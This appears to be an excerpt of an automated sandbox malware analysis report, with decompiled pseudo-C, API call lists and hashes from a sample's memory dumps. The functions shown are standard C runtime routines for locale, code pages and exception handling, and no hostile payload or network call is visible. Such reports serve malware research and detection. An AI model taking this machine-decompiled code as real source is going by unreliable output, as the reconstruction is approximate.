Part of subcall function 0270F1D7: GetLastError.KERNEL32(?,00000000,?,0270B7BB,00000000,00000000,?,?,02710548,00000000,00000000,00000000,00000000,?), ref: 0270F1DC
Part of subcall function 0270F1D7: SetLastError.KERNEL32(00000000,0042C190,000000FF,?,02710548,00000000,00000000,00000000,00000000,?), ref: 0270F27A

Part of subcall function 0270F1D7: _free.LIBCMT ref: 0270F239
Part of subcall function 0270F1D7: _free.LIBCMT ref: 0270F26F

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 027192C2
IsValidCodePage.KERNEL32(00000000), ref: 0271930B
IsValidLocale.KERNEL32(?,00000001), ref: 0271931A
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 02719362
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 02719381

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 8abd91dc7230f37f07f432dc0d089968ffe94abb7c45ff0d6261bed20ed5ad57
Instruction ID: 9ab2a54cb65b87d86e507076451ed65f07daa76a9c68590c798986c53aaaaccc
Opcode Fuzzy Hash: 8abd91dc7230f37f07f432dc0d089968ffe94abb7c45ff0d6261bed20ed5ad57
Instruction Fuzzy Hash: DD518D72A00219EFEB25DFA9DC54AEF77B9BF08704F044469EA11E7190E770DA42CB61

Uniqueness

Uniqueness Score: -1.00%

Function 004183EE Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 70%

			E004183EE(void* __ecx, void* __edx, void* __eflags, intOrPtr* _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				short _v12;
				signed int _v32;
				intOrPtr _v40;
				signed int _v52;
				char _v272;
				short _v292;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t33;
				short* _t34;
				intOrPtr* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed short _t39;
				signed short* _t42;
				intOrPtr _t45;
				void* _t47;
				signed int _t50;
				void* _t52;
				signed int _t56;
				void* _t68;
				void* _t72;
				void* _t73;
				void* _t77;
				intOrPtr* _t84;
				short* _t86;
				void* _t88;
				intOrPtr* _t91;
				intOrPtr* _t95;
				short _t113;
				void* _t114;
				intOrPtr* _t116;
				intOrPtr _t119;
				signed int* _t120;
				void* _t121;
				intOrPtr* _t123;
				signed short _t125;
				int _t127;
				void* _t128;
				void* _t131;
				signed int _t132;

				_push(__ecx);
				_push(__ecx);
				_t84 = _a4;
				_t33 = E0040ED70(__ecx, __edx);
				_t113 = 0;
				_v12 = 0;
				_t3 = _t33 + 0x50; // 0x50
				_t123 = _t3;
				_t4 = _t123 + 0x250; // 0x2a0
				_t34 = _t4;
				 *((intOrPtr*)(_t123 + 8)) = 0;
				 *_t34 = 0;
				_t6 = _t123 + 4; // 0x54
				_t116 = _t6;
				_v8 = _t34;
				_t91 = _t84;
				_t35 = _t84 + 0x80;
				 *_t123 = _t84;
				 *_t116 = _t35;
				if( *_t35 != 0) {
					E00418381(0x420ab0, 0x16, _t116);
					_t91 =  *_t123;
					_t131 = _t131 + 0xc;
					_t113 = 0;
				}
				_push(_t123);
				if( *_t91 == _t113) {
					E00417CF2(_t84, _t91);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t116)) == _t113) {
						E00417E12();
					} else {
						E00417D79(_t91);
					}
					if( *((intOrPtr*)(_t123 + 8)) == 0) {
						_t77 = E00418381(0x4207a0, 0x40, _t123);
						_t131 = _t131 + 0xc;
						if(_t77 != 0) {
							_push(_t123);
							if( *((intOrPtr*)( *_t116)) == 0) {
								E00417E12();
							} else {
								E00417D79(0);
							}
							L12:
						}
					}
				}
				if( *((intOrPtr*)(_t123 + 8)) == 0) {
					L37:
					_t37 = 0;
					goto L38;
				} else {
					_t38 = _t84 + 0x100;
					if( *_t84 != 0 ||  *_t38 != 0) {
						_t39 = E0041823E(_t38, _t123);
					} else {
						_t39 = GetACP();
					}
					_t125 = _t39;
					if(_t125 == 0 || _t125 == 0xfde8 || IsValidCodePage(_t125 & 0x0000ffff) == 0) {
						goto L37;
					} else {
						_t42 = _a8;
						if(_t42 != 0) {
							 *_t42 = _t125;
						}
						_t119 = _a12;
						if(_t119 == 0) {
							L36:
							_t37 = 1;
							L38:
							return _t37;
						} else {
							_t95 = _v8;
							_t15 = _t119 + 0x120; // 0xd0
							_t86 = _t15;
							 *_t86 = 0;
							_t16 = _t95 + 2; // 0x6
							_t114 = _t16;
							do {
								_t45 =  *_t95;
								_t95 = _t95 + 2;
							} while (_t45 != _v12);
							_t18 = (_t95 - _t114 >> 1) + 1; // 0x3
							_t47 = E00415513(_t86, 0x55, _v8);
							_t132 = _t131 + 0x10;
							if(_t47 != 0) {
								L39:
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E004092DF();
								asm("int3");
								_t130 = _t132;
								_t50 =  *0x42c014; // 0xee6350c6
								_v52 = _t50 ^ _t132;
								_push(_t86);
								_push(_t125);
								_push(_t119);
								_t52 = E0040ED70(_t97, _t114);
								_t87 = _t52;
								_t120 =  *(E0040ED70(_t97, _t114) + 0x34c);
								_t127 = E00418B29(_v40);
								asm("sbb ecx, ecx");
								_t56 = GetLocaleInfoW(_t127, ( ~( *(_t52 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								if(_t56 != 0) {
									if(E00415224(_t120, _t127,  *((intOrPtr*)(_t87 + 0x54)),  &_v272) == 0 && E00418C5B(_t127) != 0) {
										 *_t120 =  *_t120 | 0x00000004;
										_t120[2] = _t127;
										_t120[1] = _t127;
									}
									_t62 =  !( *_t120 >> 2) & 0x00000001;
								} else {
									 *_t120 =  *_t120 & _t56;
									_t62 = _t56 + 1;
								}
								_pop(_t121);
								_pop(_t128);
								_pop(_t88);
								return E00404A89(_t62, _t88, _v32 ^ _t130, _t114, _t121, _t128);
							} else {
								if(E0040FBAD(_t86, 0x1001, _t119, 0x40) == 0) {
									goto L37;
								} else {
									_t20 = _t119 + 0x80; // 0x30
									_t86 = _t20;
									_t21 = _t119 + 0x120; // 0xd0
									if(E0040FBAD(_t21, 0x1002, _t86, 0x40) == 0) {
										goto L37;
									} else {
										_t68 = E0041C27B(_t86, 0x5f);
										_pop(_t97);
										if(_t68 != 0) {
											L31:
											_t22 = _t119 + 0x120; // 0xd0
											if(E0040FBAD(_t22, 7, _t86, 0x40) == 0) {
												goto L37;
											} else {
												goto L32;
											}
										} else {
											_t73 = E0041C27B(_t86, 0x2e);
											_pop(_t97);
											if(_t73 == 0) {
												L32:
												_t119 = _t119 + 0x100;
												if(_t125 != 0xfde9) {
													E0041B04E(_t97, _t125, _t119, 0x10, 0xa);
													goto L36;
												} else {
													_push(5);
													_t72 = E00415513(_t119, 0x10, L"utf8");
													_t132 = _t132 + 0x10;
													if(_t72 != 0) {
														goto L39;
													} else {
														goto L36;
													}
												}
											} else {
												goto L31;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x004183f3
0x004183f4
0x004183f6
0x004183fb
0x00418402
0x00418404
0x00418407
0x00418407
0x0041840a
0x0041840a
0x00418410
0x00418413
0x00418416
0x00418416
0x00418419
0x0041841c
0x0041841e
0x00418424
0x00418426
0x0041842b
0x00418435
0x0041843a
0x0041843c
0x0041843f
0x0041843f
0x00418441
0x00418445
0x0041848e
0x00000000
0x00418447
0x0041844c
0x00418455
0x0041844e
0x0041844e
0x0041844e
0x00418460
0x0041846a
0x0041846f
0x00418474
0x0041847a
0x0041847e
0x00418487
0x00418480
0x00418480
0x00418480
0x00418493
0x00418493
0x00418474
0x00418460
0x00418499
0x004185d5
0x004185d5
0x00000000
0x0041849f
0x0041849f
0x004184a8
0x004184b9
0x004184af
0x004184af
0x004184af
0x004184c0
0x004184c4
0x00000000
0x004184e8
0x004184e8
0x004184ed
0x004184ef
0x004184ef
0x004184f1
0x004184f6
0x004185d0
0x004185d2
0x004185d7
0x004185db
0x004184fc
0x004184fc
0x004184ff
0x004184ff
0x00418507
0x0041850a
0x0041850a
0x0041850d
0x0041850d
0x00418510
0x00418513
0x0041851d
0x00418527
0x0041852c
0x00418531
0x004185dc
0x004185de
0x004185df
0x004185e0
0x004185e1
0x004185e2
0x004185e3
0x004185e8
0x004185ec
0x004185f4
0x004185fb
0x004185fe
0x004185ff
0x00418603
0x00418604
0x00418609
0x00418611
0x00418620
0x0041862c
0x0041863d
0x00418645
0x0041865f
0x0041866c
0x0041866f
0x00418672
0x00418672
0x0041867c
0x00418647
0x00418647
0x00418649
0x00418649
0x00418682
0x00418683
0x00418686
0x0041868d
0x00418537
0x00418547
0x00000000
0x0041854d
0x0041854f
0x0041854f
0x0041855b
0x00418569
0x00000000
0x0041856b
0x0041856e
0x00418574
0x00418577
0x00418587
0x0041858c
0x0041859a
0x00000000
0x00000000
0x00000000
0x00000000
0x00418579
0x0041857c
0x00418582
0x00418585
0x0041859c
0x0041859c
0x004185a8
0x004185c8
0x00000000
0x004185aa
0x004185aa
0x004185b4
0x004185b9
0x004185be
0x00000000
0x004185c0
0x00000000
0x004185c0
0x004185be
0x00000000
0x00000000
0x00000000
0x00418585
0x00418577
0x00418569
0x00418547
0x00418531
0x004184f6
0x004184c4

APIs

Part of subcall function 0040ED70: GetLastError.KERNEL32(?,00000000,?,0040B354,00000000,00000000,?,?,004100E1,00000000,00000000,00000000,00000000,?), ref: 0040ED75
Part of subcall function 0040ED70: SetLastError.KERNEL32(00000000,00000008,000000FF,?,004100E1,00000000,00000000,00000000,00000000,?), ref: 0040EE13

GetACP.KERNEL32(?,?,?,?,?,?,0040CD52,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 004184AF
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0040CD52,?,?,?,00000055,?,-00000050,?,?), ref: 004184DA
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0041863D

Strings

utf8, xrefs: 004185AC

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 05ccd422c0b41b8c3f69f07fe6476d8a657148d2611c9dfc9f98fac82f385f8c
Instruction ID: 00793661646a3759eca51bc055e99f9300a3a5999721d3f645893ee23d70424c
Opcode Fuzzy Hash: 05ccd422c0b41b8c3f69f07fe6476d8a657148d2611c9dfc9f98fac82f385f8c
Instruction Fuzzy Hash: CF71F571A00606AADB24AB25CC46BEB73A9EF48754F14447FF90597281FE7CA9808668

Uniqueness

Uniqueness Score: -1.00%

Function 00404F9D Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00404F9D(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E00405161(_t34);
				 *_t60 = 0x2cc;
				_v632 = E00405C80(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E00405C80(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E00405161(_t49);
				}
				return _t49;
			}

0x00404f9d
0x00404f9d
0x00404f9d
0x00404fb1
0x00404fb3
0x00404fb6
0x00404fb6
0x00404fba
0x00404fbf
0x00404fd7
0x00404fdd
0x00404fe3
0x00404fe9
0x00404fef
0x00404ff5
0x00404ffb
0x00405002
0x00405009
0x00405010
0x00405017
0x0040501e
0x00405025
0x00405026
0x0040502f
0x00405035
0x00405038
0x0040503e
0x0040504d
0x00405059
0x00405064
0x0040506b
0x00405072
0x0040507d
0x00405085
0x0040508e
0x00405090
0x00405093
0x00405095
0x0040509f
0x004050a7
0x004050ad
0x00000000
0x004050b4
0x004050b7

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00404FA9
IsDebuggerPresent.KERNEL32 ref: 00405075
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00405095
UnhandledExceptionFilter.KERNEL32(?), ref: 0040509F

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3282747a539b676a06f8adb3a3176b2d8ac5e8b6874ca4c358974fc17b3e7114
Instruction ID: 5654a0195440f474a0655582cd079951f1e8282f17ddde260aecfc59122a7df6
Opcode Fuzzy Hash: 3282747a539b676a06f8adb3a3176b2d8ac5e8b6874ca4c358974fc17b3e7114
Instruction Fuzzy Hash: 98312DB5D453189BDB10DF64D989BCDBBB8EF08304F1040EAE40CAB290EB745A85CF49

Uniqueness

Uniqueness Score: -1.00%

Function 02705404 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 02705410
IsDebuggerPresent.KERNEL32 ref: 027054DC
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 027054FC
UnhandledExceptionFilter.KERNEL32(?), ref: 02705506

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3282747a539b676a06f8adb3a3176b2d8ac5e8b6874ca4c358974fc17b3e7114
Instruction ID: 877e7b9dd18aa775f7511f3fc9abcd78aca8a61120f812693fe9216dc0dd6998
Opcode Fuzzy Hash: 3282747a539b676a06f8adb3a3176b2d8ac5e8b6874ca4c358974fc17b3e7114
Instruction Fuzzy Hash: A03109B5D4122CDBDB11DF64D989BCDBBF8BF08304F5040AAE509A7290EB759A89CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE4C Relevance: 22.9, APIs: 15, Instructions: 357
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0040AE4C(void* __edx, intOrPtr* _a4) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				intOrPtr* _v56;
				signed int _v60;
				signed int _v64;
				signed int* _v68;
				intOrPtr _v72;
				signed int* _v76;
				signed int** _v80;
				signed int** _v84;
				void* _v88;
				char _v92;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t126;
				signed int* _t129;
				intOrPtr* _t131;
				signed int* _t147;
				signed short _t150;
				signed int _t151;
				void* _t153;
				void* _t156;
				void* _t159;
				void* _t160;
				void* _t164;
				signed int _t165;
				signed int* _t166;
				signed char _t183;
				signed int* _t186;
				void* _t190;
				char _t195;
				signed char _t197;
				void* _t204;
				signed int* _t205;
				void* _t207;
				signed int* _t209;
				void* _t212;
				intOrPtr _t213;
				intOrPtr _t217;
				signed int* _t221;
				intOrPtr _t222;
				signed int _t223;
				void* _t227;
				signed int _t230;
				char* _t231;
				intOrPtr _t232;
				signed int* _t235;
				signed char* _t236;
				signed int** _t239;
				signed int** _t240;
				signed char* _t249;
				void* _t251;
				intOrPtr* _t252;
				void* _t255;
				signed int _t256;
				short* _t257;
				signed int _t260;
				signed int _t261;
				void* _t262;
				void* _t263;

				_t233 = __edx;
				_t126 =  *0x42c014; // 0xee6350c6
				_v8 = _t126 ^ _t261;
				_t252 = _a4;
				_t205 = 0;
				_v56 = _t252;
				_t237 = 0;
				_v32 = 0;
				_t213 =  *((intOrPtr*)(_t252 + 0xa8));
				_v36 = 0;
				_v40 = 0;
				_v92 = _t252;
				_v88 = 0;
				if(_t213 == 0) {
					__eflags =  *(_t252 + 0x8c);
					if( *(_t252 + 0x8c) != 0) {
						asm("lock dec dword [eax]");
					}
					 *(_t252 + 0x8c) = _t205;
					_t129 = 0;
					__eflags = 0;
					 *(_t252 + 0x90) = _t205;
					 *_t252 = 0x41ede8;
					 *(_t252 + 0x94) = 0x41f068;
					 *(_t252 + 0x98) = 0x41f1e8;
					 *(_t252 + 4) = 1;
					L48:
					return E00404A89(_t129, _t205, _v8 ^ _t261, _t233, _t237, _t252);
				}
				_t131 = _t252 + 8;
				_v52 = 0;
				if( *_t131 != 0) {
					L3:
					_v52 = E0040FEA9(1, 4);
					E0040F644(_t205);
					_v32 = E0040FEA9(0x180, 2);
					E0040F644(_t205);
					_t237 = E0040FEA9(0x180, 1);
					_v44 = _t237;
					E0040F644(_t205);
					_v36 = E0040FEA9(0x180, 1);
					E0040F644(_t205);
					_v40 = E0040FEA9(0x101, 1);
					E0040F644(_t205);
					_t263 = _t262 + 0x3c;
					if(_v52 == _t205 || _v32 == _t205) {
						L43:
						E0040F644(_v52);
						E0040F644(_v32);
						E0040F644(_t237);
						E0040F644(_v36);
						_t205 = 1;
						__eflags = 1;
						goto L44;
					} else {
						_t217 = _v40;
						if(_t217 == 0 || _t237 == 0 || _v36 == _t205) {
							goto L43;
						} else {
							_t147 = _t205;
							do {
								 *(_t147 + _t217) = _t147;
								_t147 =  &(_t147[0]);
							} while (_t147 < 0x100);
							if(GetCPInfo( *(_t252 + 8),  &_v28) == 0) {
								goto L43;
							}
							_t150 = _v28;
							if(_t150 > 5) {
								goto L43;
							}
							_t151 = _t150 & 0x0000ffff;
							_v60 = _t151;
							if(_t151 <= 1) {
								L22:
								_t37 = _t237 + 0x81; // 0x81
								_t233 = 0xff;
								_v48 = _v40 + 1;
								_t153 = E00412EE0(_t281, _t205,  *((intOrPtr*)(_t252 + 0xa8)), 0x100, _v40 + 1, 0xff, _t37, 0xff,  *(_t252 + 8), _t205);
								_t263 = _t263 + 0x24;
								_t282 = _t153;
								if(_t153 == 0) {
									goto L43;
								}
								_t156 = E00412EE0(_t282, _t205,  *((intOrPtr*)(_t252 + 0xa8)), 0x200, _v48, 0xff, _v36 + 0x81, 0xff,  *(_t252 + 8), _t205);
								_t263 = _t263 + 0x24;
								_t283 = _t156;
								if(_t156 == 0) {
									goto L43;
								}
								_v72 = _v32 + 0x100;
								_t159 = E00412BF3(0xff, _t283, _t205, 1, _v40, 0x100, _v32 + 0x100,  *(_t252 + 8), _t205);
								_t263 = _t263 + 0x1c;
								if(_t159 == 0) {
									goto L43;
								}
								_t160 = _v32;
								_t221 = _t160 + 0xfe;
								 *_t221 = 0;
								_t233 = _v44;
								_v76 = _t221;
								_t222 = _v36;
								_t239 = _t233 + 0x80;
								 *(_t233 + 0x7f) = _t205;
								_v80 = _t239;
								 *(_t222 + 0x7f) = _t205;
								 *_t239 = _t205;
								_t240 = _t222 + 0x80;
								_v84 = _t240;
								 *_t240 = _t205;
								if(_v60 <= 1) {
									L39:
									_t223 = 0x3f;
									_push(0x1f);
									memcpy(_v32, _v32 + 0x200, _t223 << 2);
									asm("movsw");
									_t164 = memcpy(_t233, _t233 + 0x100, 0 << 2);
									_t227 = 0x1f;
									asm("movsw");
									asm("movsb");
									_t255 = _t164 + 0x100;
									_t165 = memcpy(_t164, _t255, 0 << 2);
									_t237 = _t255 + _t227 + _t227;
									asm("movsw");
									asm("movsb");
									_t252 = _v56;
									if( *(_t252 + 0x8c) != 0) {
										asm("lock xadd [ecx], eax");
										if((_t165 | 0xffffffff) == 0) {
											E0040F644( *(_t252 + 0x90) - 0xfe);
											_t237 = 0x80;
											E0040F644( *(_t252 + 0x94) - 0x80);
											E0040F644( *(_t252 + 0x98) - 0x80);
											E0040F644( *(_t252 + 0x8c));
										}
									}
									_t166 = _v52;
									 *_t166 = 1;
									 *(_t252 + 0x8c) = _t166;
									 *_t252 = _v72;
									 *(_t252 + 0x90) = _v76;
									 *(_t252 + 0x94) = _v80;
									 *(_t252 + 0x98) = _v84;
									 *(_t252 + 4) = _v60;
									L44:
									E0040F644(_v40);
									_t129 = _t205;
									goto L48;
								}
								if( *(_t252 + 8) != 0xfde9) {
									_t249 =  &_v22;
									__eflags = _v22 - _t205;
									if(_v22 == _t205) {
										goto L39;
									}
									_t207 = _v32;
									while(1) {
										_t183 = _t249[1];
										__eflags = _t183;
										if(_t183 == 0) {
											break;
										}
										_t256 =  *_t249 & 0x000000ff;
										_v64 = _t256;
										__eflags = _t256 - (_t183 & 0x000000ff);
										if(_t256 > (_t183 & 0x000000ff)) {
											L37:
											_t249 =  &(_t249[2]);
											__eflags =  *_t249;
											if( *_t249 != 0) {
												continue;
											}
											break;
										}
										_v48 = _t233;
										_t186 = _t222 + 0x80 + _t256;
										_t235 = _t233 - _t222;
										__eflags = _t235;
										_t230 = _v64;
										_t257 = _t207 - 0xffffff00 + _t256 * 2;
										_v68 = _t186;
										_t209 = _t186;
										do {
											 *_t257 = 0x8000;
											_t257 = _t257 + 2;
											 *(_t235 + _t209) = _t230;
											 *_t209 = _t230;
											_t230 = _t230 + 1;
											_t209 =  &(_t209[0]);
											__eflags = _t230 - (_t249[1] & 0x000000ff);
										} while (_t230 <= (_t249[1] & 0x000000ff));
										_t233 = _v44;
										_t222 = _v36;
										_t207 = _v32;
										goto L37;
									}
									L38:
									_t205 = 0;
									goto L39;
								}
								_v44 = _t160 + 0x200;
								_t231 = _t233 + 0x100;
								_t251 = _t222 - _t233;
								_t190 = 0xffffff80;
								_v48 = _t190 - _t233;
								do {
									_push(0x32);
									asm("sbb eax, eax");
									_v44 = _v44 + 2;
									 *_v44 = (0xfffffebe + _t231 & 0xffff8000) + 0x8000;
									_t212 = _v48;
									_t195 = _t231 + _t212;
									 *_t231 = _t195;
									 *((char*)(_t251 + _t231)) = _t195;
									_t231 = _t231 + 1;
								} while (_t212 + _t231 <= 0xff);
								goto L38;
							}
							_t281 =  *(_t252 + 8) - 0xfde9;
							if( *(_t252 + 8) != 0xfde9) {
								_t236 =  &_v22;
								__eflags = _v22 - _t205;
								if(__eflags == 0) {
									goto L22;
								}
								_t232 = _v40;
								while(1) {
									_t197 = _t236[1];
									__eflags = _t197;
									if(__eflags == 0) {
										break;
									}
									_t260 =  *_t236 & 0x000000ff;
									__eflags = _t260 - (_t197 & 0x000000ff);
									if(_t260 > (_t197 & 0x000000ff)) {
										L20:
										_t236 =  &(_t236[2]);
										__eflags =  *_t236 - _t205;
										if(__eflags != 0) {
											continue;
										}
										break;
									} else {
										goto L19;
									}
									do {
										L19:
										 *((char*)(_t260 + _t232)) = 0x20;
										_t260 = _t260 + 1;
										__eflags = _t260 - (_t236[1] & 0x000000ff);
									} while (_t260 <= (_t236[1] & 0x000000ff));
									goto L20;
								}
								_t252 = _v56;
								goto L22;
							}
							E00405C80(_t237, _v40 - 0xffffff80, 0x20, 0x80);
							_t263 = _t263 + 0xc;
							goto L22;
						}
					}
				}
				_push(_t131);
				_push(0x1004);
				_push(_t213);
				_push(0);
				_push( &_v92);
				_t204 = E00412A43(__edx);
				_t263 = _t262 + 0x14;
				if(_t204 != 0) {
					goto L43;
				}
				goto L3;
			}

0x0040ae4c
0x0040ae54
0x0040ae5b
0x0040ae60
0x0040ae63
0x0040ae66
0x0040ae69
0x0040ae6b
0x0040ae6e
0x0040ae74
0x0040ae77
0x0040ae7a
0x0040ae7d
0x0040ae82
0x0040b265
0x0040b267
0x0040b269
0x0040b269
0x0040b26c
0x0040b272
0x0040b272
0x0040b274
0x0040b27a
0x0040b280
0x0040b28a
0x0040b294
0x0040b29b
0x0040b2a9
0x0040b2a9
0x0040ae88
0x0040ae8b
0x0040ae90
0x0040aeae
0x0040aeb8
0x0040aebb
0x0040aece
0x0040aed1
0x0040aede
0x0040aee1
0x0040aee4
0x0040aef6
0x0040aef9
0x0040af0b
0x0040af0e
0x0040af13
0x0040af19
0x0040b22e
0x0040b231
0x0040b239
0x0040b23f
0x0040b247
0x0040b251
0x0040b251
0x00000000
0x0040af28
0x0040af28
0x0040af2d
0x00000000
0x0040af44
0x0040af44
0x0040af46
0x0040af46
0x0040af49
0x0040af4a
0x0040af60
0x00000000
0x00000000
0x0040af66
0x0040af6c
0x00000000
0x00000000
0x0040af72
0x0040af75
0x0040af7b
0x0040afd1
0x0040afd4
0x0040afde
0x0040aff3
0x0040aff7
0x0040affc
0x0040afff
0x0040b001
0x00000000
0x00000000
0x0040b02a
0x0040b02f
0x0040b032
0x0040b034
0x00000000
0x00000000
0x0040b04f
0x0040b055
0x0040b05a
0x0040b05f
0x00000000
0x00000000
0x0040b065
0x0040b06e
0x0040b074
0x0040b077
0x0040b07a
0x0040b07d
0x0040b080
0x0040b086
0x0040b089
0x0040b08c
0x0040b08f
0x0040b091
0x0040b097
0x0040b09a
0x0040b09c
0x0040b16c
0x0040b173
0x0040b174
0x0040b17f
0x0040b184
0x0040b18e
0x0040b190
0x0040b191
0x0040b193
0x0040b194
0x0040b19c
0x0040b19c
0x0040b19e
0x0040b1a0
0x0040b1a1
0x0040b1ac
0x0040b1b1
0x0040b1b5
0x0040b1c3
0x0040b1ce
0x0040b1d6
0x0040b1e4
0x0040b1ef
0x0040b1f4
0x0040b1b5
0x0040b1f7
0x0040b1fa
0x0040b200
0x0040b209
0x0040b20e
0x0040b217
0x0040b220
0x0040b229
0x0040b252
0x0040b255
0x0040b25b
0x00000000
0x0040b25b
0x0040b0a9
0x0040b102
0x0040b105
0x0040b108
0x00000000
0x00000000
0x0040b10a
0x0040b10d
0x0040b10d
0x0040b110
0x0040b112
0x00000000
0x00000000
0x0040b114
0x0040b11a
0x0040b11d
0x0040b11f
0x0040b162
0x0040b162
0x0040b165
0x0040b168
0x00000000
0x00000000
0x00000000
0x0040b168
0x0040b127
0x0040b130
0x0040b132
0x0040b132
0x0040b134
0x0040b137
0x0040b13a
0x0040b13d
0x0040b13f
0x0040b144
0x0040b147
0x0040b14a
0x0040b14d
0x0040b14f
0x0040b154
0x0040b155
0x0040b155
0x0040b159
0x0040b15c
0x0040b15f
0x00000000
0x0040b15f
0x0040b16a
0x0040b16a
0x00000000
0x0040b16a
0x0040b0b2
0x0040b0b5
0x0040b0c2
0x0040b0c4
0x0040b0c9
0x0040b0cc
0x0040b0cf
0x0040b0d7
0x0040b0d9
0x0040b0e7
0x0040b0ea
0x0040b0ed
0x0040b0f0
0x0040b0f2
0x0040b0f5
0x0040b0f9
0x00000000
0x0040b100
0x0040af7d
0x0040af84
0x0040af9e
0x0040afa1
0x0040afa4
0x00000000
0x00000000
0x0040afa6
0x0040afa9
0x0040afa9
0x0040afac
0x0040afae
0x00000000
0x00000000
0x0040afb0
0x0040afb6
0x0040afb8
0x0040afc7
0x0040afc7
0x0040afca
0x0040afcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040afba
0x0040afba
0x0040afba
0x0040afbe
0x0040afc3
0x0040afc3
0x00000000
0x0040afba
0x0040afce
0x00000000
0x0040afce
0x0040af94
0x0040af99
0x00000000
0x0040af99
0x0040af2d
0x0040af19
0x0040ae92
0x0040ae93
0x0040ae98
0x0040ae9c
0x0040ae9d
0x0040ae9e
0x0040aea3
0x0040aea8
0x00000000
0x00000000
0x00000000

APIs

_free.LIBCMT ref: 0040AEBB
_free.LIBCMT ref: 0040AED1
_free.LIBCMT ref: 0040AEE4
_free.LIBCMT ref: 0040AEF9
_free.LIBCMT ref: 0040AF0E
